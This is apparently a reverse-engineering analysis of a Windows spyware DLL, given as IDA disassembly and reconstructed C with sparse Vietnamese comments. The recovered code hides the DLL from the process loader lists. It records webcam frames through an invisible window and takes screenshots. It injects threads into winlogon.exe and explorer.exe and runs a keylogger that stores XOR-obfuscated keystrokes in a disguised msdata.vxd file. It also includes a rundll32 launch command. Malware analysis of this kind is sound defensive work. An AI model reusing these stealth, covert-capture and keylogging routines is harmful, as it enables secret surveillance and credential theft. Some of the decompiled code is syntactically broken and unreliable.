.text:1000D610     ; BOOL HideDLL(void)
.text:1000D610     HideDLL proc near                       ; CODE XREF: MaintThreadProc+A9p
.text:1000D610     ldr     = dword ptr -4
.text:1000D610 000         push    ecx
.text:1000D611 004         mov     ecx, g_hinstDLL
.text:1000D617 004         test    ecx, ecx
.text:1000D619 004         jnz     short @@DLLInstanceNotZero
.text:1000D61B 004         xor     eax, eax
.text:1000D61D 004         pop     ecx
.text:1000D61E 000         retn
.text:1000D61F     @@DLLInstanceNotZero:                   ; CODE XREF: HideDLL+9j
.text:1000D61F 004         push    esi
.text:1000D620 008         mov     eax, large fs:18h       ; eax = ptr to _TEB
.text:1000D626 008         mov     eax, [eax+_TEB.ProcessEnvironmentBlock] ; eax = ptr to _PEB
.text:1000D629 008         mov     eax, [eax+_PEB.Ldr]     ; eax = ptr to _PEB_LDR_DATA
.text:1000D62C 008         mov     [esp+8+ldr], eax
.text:1000D630 008         mov     eax, [esp+8+ldr]
.text:1000D634 008         mov     esi, [eax+PEB_LDR_DATA.InLoadOrderModuleList.Flink] ; esi = InLoadOrderModuleList: _LIST_ENTRY struct
.text:1000D637 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.DllBase] ; eax = DllBase of first DLL (0x18 offset in LDR_DATA_TABLE_ENTRY struct)
.text:1000D637                                             ; In Windows, hau nhu la DllBase cua Ntdll.dll
.text:1000D63A 008         test    eax, eax
.text:1000D63C 008         jz      short @@FoundThisDLL
.text:1000D63E 008         mov     edi, edi
.text:1000D640     @@IsThisDLL:                            ; CODE XREF: HideDLL+3Bj
.text:1000D640 008         cmp     eax, ecx                ; ecx = DllBase or HInstance of this DLL
.text:1000D642 008         jz      short @@FoundThisDLL
.text:1000D644 008         mov     esi, [esi]              ; esi = InLoadOrderLinks.Flink
.text:1000D646 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.DllBase] ; eax = DllBase of next DLL
.text:1000D649 008         test    eax, eax
.text:1000D64B 008         jnz     short @@IsThisDLL
.text:1000D64D     @@FoundThisDLL:                         ; CODE XREF: HideDLL+2Cj
.text:1000D64D                                             ; HideDLL+32j
.text:1000D64D 008         cmp     [esi+_LDR_DATA_TABLE_ENTRY.DllBase], 0 ; DllBase is 0 ?
.text:1000D651 008         jnz     short @@ModifyDoubleLinkList
.text:1000D653 008         xor     eax, eax
.text:1000D655 008         pop     esi
.text:1000D656 004         pop     ecx
.text:1000D657 000         retn
.text:1000D658     @@ModifyDoubleLinkList:                 ; CODE XREF: HideDLL+41j
.text:1000D658 008         mov     ecx, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink]
.text:1000D65B 008         mov     edx, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink]
.text:1000D65D 008         mov     [ecx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], edx
.text:1000D65F 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink]
.text:1000D661 008         mov     ecx, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink]
.text:1000D664 008         mov     [eax+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], ecx
.text:1000D667 008         mov     edx, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink]
.text:1000D66A 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink]
.text:1000D66D 008         mov     [edx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], eax
.text:1000D66F 008         mov     ecx, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink]
.text:1000D672 008         mov     edx, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink]
.text:1000D675 008         mov     [ecx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], edx
.text:1000D678 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Blink]
.text:1000D67B 008         mov     ecx, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink]
.text:1000D67E 008         mov     [eax+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], ecx
.text:1000D680 008         mov     edx, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink]
.text:1000D683 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Blink]
.text:1000D686 008         mov     [edx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], eax
.text:1000D689 008         mov     ecx, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Blink]
.text:1000D68C 008         mov     edx, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Flink]
.text:1000D68F 008         mov     [ecx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], edx
.text:1000D691 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Flink]
.text:1000D694 008         mov     ecx, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Blink]
.text:1000D697 008         mov     [eax+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], ecx
.text:1000D69A 008         movzx   edx, [esi+_LDR_DATA_TABLE_ENTRY.FullDllName.Length]
.text:1000D69E 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.FullDllName.Buffer]
.text:1000D6A1 008         push    edx                     ; size_t
.text:1000D6A2 00C         push    0                       ; int
.text:1000D6A4 010         push    eax                     ; void *
.text:1000D6A5 014         call    _memset                 ; Zero the FullDllName
.text:1000D6AA 014         push    48h
.text:1000D6AC 018         push    0
.text:1000D6AE 01C         push    esi
.text:1000D6AF 020         call    _memset                 ; Zero memory _LDR_DATA_TABE_ENTRY of this DLL
.text:1000D6B4 020         add     esp, 18h
.text:1000D6B7 008         mov     eax, 1
.text:1000D6BC 008         pop     esi
.text:1000D6BD 004         pop     ecx
.text:1000D6BE 000         retn
.text:1000D6BE     HideDLL endp

.text:1000DF80     ; void __cdecl IncSizeOfImageFieldInLDR()
.text:1000DF80     IncSizeOfImageFieldInLDR proc near      ; CODE XREF: MaintThreadProc:loc_1000A82Ep
.text:1000DF80 000         mov     eax, large fs:30h       ; eax = PEB
.text:1000DF86 000         mov     eax, dword ptr [eax+_PEB_LDR_DATA.InLoadOrderModuleList] ; eax = Ldr: _PEB_LDR_DATA
.text:1000DF89 000         mov     eax, [eax+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink] ; InLoadOrderModuleList : _LIST_ENTRY
.text:1000DF8C 000         add     [eax+_LDR_DATA_TABLE_ENTRY.SizeOfImage], 3686400 ; _LDR_DATA_TABLE_ENTRY: 0x20 offset = SizeOfImage
.text:1000DF93 000         retn
.text:1000DF93     IncSizeOfImageFieldInLDR endp

rundll32.exe C:\Temp\cversions.2.db, ABCDE

[%d.%d.%d] - SP %d - PT %d - SM %d - HD %0.8X - NIC %s

[%d.%d.%d]: [dwMajorVersion.dwMinorVersion.dwBuildNumber]
SP: wServicePackMajor
PT: wProductType
SM: wSuiteMask
HD: Volume serial number of %HomeDrive%
NIC: MAC address
Bai: ???????

int __stdcall GetCaptureDriver()
{
    UINT wDriverIndex; // [sp+4h] [bp-414h]@1
    WCHAR wzVer[252]; // [sp+8h] [bp-410h]@1
    WCHAR wzName[254]; // [sp+200h] [bp-218h]@1

    memset(&szName[1], 0, 0x1F2u);
    memset(&szVer[1], 0, 0x1F2u);

    for (wDriverIndex = 0; wDriverIndex < 9; ++wDriverIndex)
    {
        if (capGetDriverDescriptionW(wDriverIndex, szName, 500, szVer, 500))
        {
            return wDriverIndex;
        }
    }

    return -1;
}

BOOL __stdcall D3DRMColorGetRed()
{
    return GetCaptureDriver() != -1;
}

BOOL __stdcall D3DRMColorGetGreen(LPWSTR pwzImgCaptured)
{
    HANDLE hCaptureThread;

    g_hDesktop = CreateDesktopW(L"Defau1t1", 0, 0, 1u, 0x10000000u, 0);
    if (L"Defau1t1")  //  => bug của stl coder, may mà luôn luôn đúng
    {
        hCaptureThread = CreateThread(0, 0, CaptureThreadProc, 0, 0, 0);
        WaitForSingleObject(hCaptureThread, INFINITE);
        CloseDesktop(g_hDesktop);
        wcscpy(pwzImgCaptured, g_wzCaptureFileName);
    }
    
    return 0; // => stl coder bug: không CloseHandle(hCaptureThread);
}

int __cdecl VideCaptureThreadProc()
{
    int result;
    int captureDriverIndex;

    SetThreadDesktop(g_hDesktop);
    captureDriverIndex = GetCaptureDriver();
    if (captureDriverIndex == -1)
    {
        result = -1;
    }
    else
    {
        VideoCapture(g_wzCaptureFileName, captureDriverIndex, 640, 480, 10);
        result = 0;
    }
    return result;
}

signed int __cdecl VideoCapture(WCHAR *pwzDibFile, UINT capDriverIdx, int nWidth, int nHeight, int loopCount)
{
    DWORD dwWndLong; 
    MSG Msg;
    HWND hwndCapture;

    HWND hDskWnd = GetDesktopWindow();

    hwndCapture = j_capCreateCaptureWindowW(0, 0x40000000u, 0, 0, nWidth, nHeight, hDskWnd, 0);
    if (hwndCapture)
    {
        dwWndLong = GetWindowLongW(hwndCapture, GWL_EXSTYLE);
        SetWindowLongW(hwndCapture, GWL_EXSTYLE, (dwWndLong | 0x80080) & 0xFFFBFFFF);

        ShowWindow(hwndCapture, SW_SHOWNORMAL);

        SetLayeredWindowAttributes(hwndCapture, 0, 1, LWA_ALPHA); // capture window sẽ transparent, không thấy trên màn hình

        if (IsWindow(hwndCapture))
            SendMessageW(hwndCapture, WM_CAP_DRIVER_CONNECT, capDriverIdx, 0);

        if (IsWindow(hwndCapture))
            SendMessageW(hwndCapture, WM_CAP_SET_SCALE, TRUE, 0); // scale preview image to 640x480

        if (IsWindow(hwndCapture))
            SendMessageW(hwndCapture, WM_CAP_SET_PREVIEWRATE, 60, 0); // 1s chụp 1 frame

        if (IsWindow(hwndCapture))
            SendMessageW(hwndCapture, WM_CAP_SET_PREVIEW, TRUE, 0); // start preview mode

        for (i = 0; i < loopCount; ++i)
        {
            GetMessageW(&Msg, hwndCapture, 0, 0);
            DispatchMessageW(&Msg);
            TranslateMessage(&Msg);
        }

        if (IsWindow(hwndCapture))
            SendMessageW(hwndCapture, WM_CAP_FILE_SAVEDIBW, 0, pwzDibFile); // save to bmp file

        if (IsWindow(hwndCapture))
            SendMessageW(hwndCapture, WM_CAP_DRIVER_DISCONNECT, capDriverIdx, 0);

        DestroyWindow(hwndCapture);
        result = 1;
    }
    else
    {
        result = 0;
    }

    return result;
}

UINT __stdcall D3DRMColorGetBlue(LPWSTR pwzImgFile)
{
    WCHAR wzTempFileName[520];
    HGDIOBJ hBmp;
    int flag, xStart, yStart, nWidth, nHeight;

    memset(wzTempFileName, 0, 1040);
    CreateWmpTempFileName(wzTempFileName);
    hBmp = ScreenCapture(flag, xStart, yStart, nWidth, nHeight);
    if (hBmp)
    {
        SaveToJPGFile(hBmp, wzTempFileName, 75);
        wcscpy(pwzImgFile, wzTempFileName);
    }
    return 0;
}

int __cdecl MainProc()
{
    int osVer;
    HANDLE hProcess;
    BOOL notWinLogonExe;
    DWORD ThreadId;
    WCHAR wzPath[260];

    osVer = GetVersion();
    memset(wzPath, 0, 520);

    hProcess = GetCurrentProcess();
    GetModuleFileNameExW(hProcess, 0, wzPath, 260);
    PathStripPathW(wzPath);

    if (!_wcsicmp(wzPath, L"services.exe"))
    {
        ThreadId = 0;
        CreateThread(0, 0, ThreadProcInServicesExe, 0, 0, &ThreadId);
    }

    notWinLogonExe = _wcsicmp(wzPath, L"winlogon.exe");
    if (osVer == 6)
    {
        if (notWinLogonExe)
            goto @@IsExplorer;
        ThreadId = 0;
        CreateThread(0, 0, ThreadProcInWinLogon, 0, 0, &ThreadId);
        CreateThread(0, 0, InjectExplorerThreadProc, 0, 0, &ThreadID);
    }

    if (!notWinLogonExe)
    {
        ThreadId = 0;
        InitMSDataVXDFile_And_LoadIEFrameOCX_And_HookKeyboard();
        CreateThread(0, 0, InjectExplorerThreadProc, 0, 0, &ThreadId);
    }

    if (!_wcsicmp(wzPath, L"logonui.exe"))
    {
        CreateThread(0, 0, ThreadProcInLogOnUIExe, 0, 0, &ThreadID);
    }

@@IsExplorer:
    if (!_wcsicmp(wzPath, L"explorer.exe"))
    {
        ThreadId = 0;
        CreateThread(0, 0, ThreadProcInExplorer, 0, 0, &ThreadId);
    }

    return -1;

int InitMSDataVXDFile_And_LoadIEFrameOCX_And_HookKeyboard()
{
    DWORD ThreadId;
    CHAR szMsdataVxdPath[260];

    if (S_OK != SHGetFolderPathA(0, CSIDL_SYSTEM), 0, 0, szMsdataVxdPath)
        return -1;

    sprintf_s(szMsdataVxdPath, 260, "%s\\msdata.vxd", szMsdataVxdPath);
    g_hFile_Msdatavxd = CreateMSDataVxdFile(szMsdataVxdPath),
    if (-1 == g_hFile_Msdatavxd)
        return -1;

    SetWindowsHookExA(WH_KEYBOARD, KbdHookProc, 0, GetCurrentThreadId(););
    write_string_after_xor_with_0x6F_to_msdata_vxd_file(0x12, g_hFile_Msdatavxd, "\r\n[Logon Window]\r\n");

    ThreadId = 0;
    CreateThread(0, 0, RemoteLoadIEFrameOCX, 0, 0, &ThreadId);

    return 0;
}

HRESULT __stdcall KbdHookProc(int code, WPARAM wparam, LPARAM lparam)
{
    DWORD len;
    HWND hwnd;
    int p;
    char ach;
    WORD nSc1, nSc2;
    HANDLE hFile;
    char *psz;
    SYSTEMTIME SystemTime;
    char szText[1500];
    char szWndText[1024];

    if ((code != 0)|| !(~(lparam >> 31) & 1) || wparam == VK_CAPITAL || wparam == VK_SHIFT || wparam == VK_LSHIFT)
        return CallNextHookEx(0, code, wparam, lparam);

    hFile = g_hmsdatavxdfile;

    if (wparam == VK_RETURN)
    {
        psz = "\r\n";
        len = 2;
    }
    else if (wparam == VK_SPACE)
    {
        psz = L" ";
        len = 1;
    }
    else if (wparam == VK_LWIN || wparam == VK_RWIN)
    {
        psz = "[Windows]";
        len = 9;
    }
    else if (wparam == VK_TAB)
    {
        psz = L"\t";
        len = 1;
    }
    else
    {
        hwnd = GetForegroundWindow();
        if (hwnd != g_hForegroundWndLast)
        {
            memset(szWndText, 0, 1024);
            GetWindowTextA(hwnd, szWndText, 1024);

            memset(szText, 0, 1500);
            GetLocalTime(&SystemTime);
            sprintf_s(szText, 1500, "\r\n\r\n[%s] - [%.4i/%.2i/%.2i %.2i/%.2i/%.2i]:\r\n",
                szWndText, SystemTime.wYear, SystemTime.wMonth, SystemTime.wDay,
                SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond);

            if (!write_string_after_xor_with_0x6F_to_msdata_vxd_file(strlen(szText), hFile, szText))
                return -1;

            g_hForegroundWndLast = hwnd;
        }

        GetKeyboardState(&g_abKeyState);
        nSc1 = MapVirtualKeyA(wparam, 0);
        if (ToAscii(wparam, v8, &g_abKeyState, &g_Char, 0) == 1)
        {
            if (g_Char > VK_SPACE)
            {
                wsprintfA(g_szKey, "%c", g_Char);
                len = strlen(g_szKey);
                psz = g_szKey;
            }
            nSc2 = MapVirtualKeyA(wparam, 0);
            if (GetKeyNameTextA(v9 << 16, g_szKey, 16) > 0)
            {
                len = strlen(g_szKey);
                psz = g_szKey;
            }
        }
        else
        {
            nSc1 = MapVirtualKeyA(wparam, 0);
            if (GetKeyNameTextA(nScancode << 16, g_szKey, 16) > 0)
            {
                len = strlen(g_szKey);
                psz = g_szKey;
                hFile = g_hmsdatavxdfile;
            }
        }
    }

    write_string_after_xor_with_0x6F_to_msdata_vxd_file(len, hFile, psz);
    return CallNextHookEx(0, code, wparam, lparam);
}

memset(&wcex, 0, 0x30u);
    wcex.cbSize = 48;
    wcex.lpfnWndProc = MSDataWndProc;
    wcex.hInstance = GetModuleHandleA(0);
    wcex.lpszClassName = "msdata";
    RegisterClassExA(&wcex);
    CreateWindowExA(0,  "msdata", "msdata", 0, 0, 0, 0, 0, HWND_MESSAGE, 0, hInstance, 0);
   ..........

.text:10001888     ON_WM_CREATE:                           ; DATA XREF: .text:WMHandlerTableo
.text:10001888 01C     mov     eax, [ebp+hWnd]
.text:1000188B 01C     push    0Ch                         ; cbSize
.text:1000188D 020     push    1                           ; uiNumDevices
.text:1000188F 024     lea     ecx, [ebp+rawInputDevices]
.text:10001892 024     push    ecx                         ; pRawInputDevices
.text:10001893 028     mov     dword ptr [ebp+rawInputDevices.usUsagePage], 60001h
.text:1000189A 028     mov     [ebp+rawInputDevices.dwFlags], RIDEV_INPUTSINK
.text:100018A1 028     mov     [ebp+rawInputDevices.hwndTarget], eax
.text:100018A4 028     call    ds:RegisterRawInputDevices
.text:100018A4
.text:100018AA 01C     test    eax, eax
.text:100018AC 01C     jnz     @@Return_0
.text:100018AC
.text:100018B2 01C     or      eax, 0FFFFFFFFh
.text:100018B5 01C     pop     edi
.text:100018B6 018     pop     esi
.text:100018B7 014     pop     ebx
.text:100018B8 010     mov     esp, ebp
.text:100018BA 004     pop     ebp
.text:100018BB 000     retn    10h
.text:100018BB
.text:100018BE     ; ---------------------------------------------------------------------------
.text:100018BE
.text:100018BE     ON_WM_INPUT:                            ; CODE XREF: MSDataWndProc+21j
.text:100018BE                                             ; DATA XREF: .text:WMHandlerTableo
.text:100018BE 01C     mov     edi, [ebp+cbSize]
.text:100018C1 01C     mov     ebx, ds:GetRawInputData
.text:100018C7 01C     push    16                          ; cbSizeHeader
.text:100018C9 020     lea     edx, [ebp+cbSize]
.text:100018CC 020     push    edx                         ; pcbSize
.text:100018CD 024     push    0                           ; pData
.text:100018CF 028     push    RID_INPUT                   ; uiCommand
.text:100018D4 02C     push    edi                         ; hRawInput
.text:100018D5 030     call    ebx ; GetRawInputData
.text:100018D5
.text:100018D7 01C     mov     eax, [ebp+cbSize]
.text:100018DA 01C     push    eax                         ; dwBytes
.text:100018DB 020     push    0                           ; dwFlags
.text:100018DD 024     call    ds:GetProcessHeap
.text:100018DD
.text:100018E3 024     push    eax                         ; hHeap
.text:100018E4 028     call    ds:HeapAlloc
.text:100018E4
.text:100018EA 01C     push    10h                         ; cbSizeHeader
.text:100018EC 020     lea     ecx, [ebp+cbSize]
.text:100018EF 020     push    ecx                         ; pcbSize
.text:100018F0 024     mov     esi, eax
.text:100018F2 024     push    esi                         ; pData
.text:100018F3 028     push    RID_INPUT                   ; uiCommand
.text:100018F8 02C     push    edi                         ; hRawInput
.text:100018F9 030     call    ebx ; GetRawInputData
.text:100018F9
.text:100018FB 01C     test    eax, eax
.text:100018FD 01C     jz      short @@FreeMem_And_Return_0
.text:100018FD
.text:100018FF 01C     cmp     [esi+RAWINPUTHEADER.dwType], RIM_TYPEKEYBOARD
.text:10001902 01C     jnz     short @@FreeMem_And_Return_0
.text:10001902
.text:10001904 01C     cmp     [esi+RAWINPUT.data.keyboard.Message], WM_KEYFIRST
.text:1000190B 01C     jnz     short @@FreeMem_And_Return_0
.text:1000190B
.text:1000190D 01C     movzx   ecx, [esi+RAWINPUT.data.keyboard.VKey] ; uCode
.text:10001911 01C     call    save_key_to_msdata_vxd_file
.text:10001911
.text:10001916 01C     cmp     eax, 0FFFFFFFFh
.text:10001919 01C     jnz     short @@FreeMem_And_Return_0
.text:10001919
.text:1000191B 01C     mov     edx, [ebp+hWnd]
.text:1000191E 01C     push    edx                         ; hWnd
.text:1000191F 020     call    dsestroyWindow
.text:1000191F
.text:10001925
.text:10001925     @@FreeMem_And_Return_0:                 ; CODE XREF: MSDataWndProc+9Dj
.text:10001925                                             ; MSDataWndProc+A2j
.text:10001925                                             ; MSDataWndProc+ABj
.text:10001925                                             ; MSDataWndProc+B9j
.text:10001925 01C     push    esi                         ; lpMem
.text:10001926 020     push    0                           ; dwFlags
.text:10001928 024     call    ds:GetProcessHeap
.text:10001928
.text:1000192E 024     push    eax                         ; hHeap
.text:1000192F 028     call    ds:HeapFree
.text:1000192F
.text:10001935 01C     xor     eax, eax
.text:10001937 01C     pop     edi
.text:10001938 018     pop     esi
.text:10001939 014     pop     ebx
.text:1000193A 010     mov     esp, ebp
.text:1000193C 004     pop     ebp
.text:1000193D 000     retn    10h
.text:1000193D
.text:10001940     ; ---------------------------------------------------------------------------
.text:10001940
.text:10001940     ON_WM_DESTROY:                          ; CODE XREF: MSDataWndProc+21j
.text:10001940                                             ; DATA XREF: .text:WMHandlerTableo
.text:10001940 01C     mov     eax, g_hFile_Msdatavxd
.text:10001945 01C     cmp     eax, 0FFFFFFFFh
.text:10001948 01C     jz      short @@Quit
.text:10001948
.text:1000194A 01C     push    eax                         ; hObject
.text:1000194B 020     call    ds:CloseHandle
.text:1000194B
.text:10001951
.text:10001951     @@Quit:                                 ; CODE XREF: MSDataWndProc+E8j
.text:10001951 01C     push    0                           ; nExitCode
.text:10001953 020     call    dsostQuitMessage
.text:10001953
.text:10001959
.text:10001959     @@Return_0:                             ; CODE XREF: MSDataWndProc+4Cj
.text:10001959 01C     xor     eax, eax
.text:1000195B 01C     pop     edi
.text:1000195C 018     pop     esi
.text:1000195D 014     pop     ebx
.text:1000195E 010     mov     esp, ebp
.text:10001960 004     pop     ebp
.text:10001961 000     retn    10h
.text:10001961
.text:10001964     ; ---------------------------------------------------------------------------
.text:10001964
.text:10001964     ON_WM_QUERYENDSESSION:                  ; CODE XREF: MSDataWndProc+21j
.text:10001964                                             ; DATA XREF: .text:WMHandlerTableo
.text:10001964 01C     call    SavePowerOffTime
.text:10001964
.text:10001969 01C     push    0                           ; uExitCode
.text:1000196B 020     call    ds:ExitProcess
.text:1000196B
.text:10001971     ; ---------------------------------------------------------------------------
.text:10001971
.text:10001971     DefaultHandler:                         ; CODE XREF: MSDataWndProc+14j
.text:10001971                                             ; MSDataWndProc+21j
.text:10001971                                             ; DATA XREF: .text:WMHandlerTableo
.text:10001971 01C     mov     eax, [ebp+cbSize]
.text:10001974 01C     mov     edx, [ebp+wParam]
.text:10001977 01C     push    eax                         ; lParam
.text:10001978 020     mov     eax, [ebp+hWnd]
.text:1000197B 020     push    edx                         ; wParam
.text:1000197C 024     push    ecx                         ; Msg
.text:1000197D 028     push    eax                         ; hWnd
.text:1000197E 02C     call    dsefWindowProcA
.text:1000197E
.text:10001984 01C     pop     edi
.text:10001985 018     pop     esi
.text:10001986 014     pop     ebx
.text:10001987 010     mov     esp, ebp
.text:10001989 004     pop     ebp
.text:1000198A 000     retn    10h
.text:1000198A
.text:1000198A     MSDataWndProc endp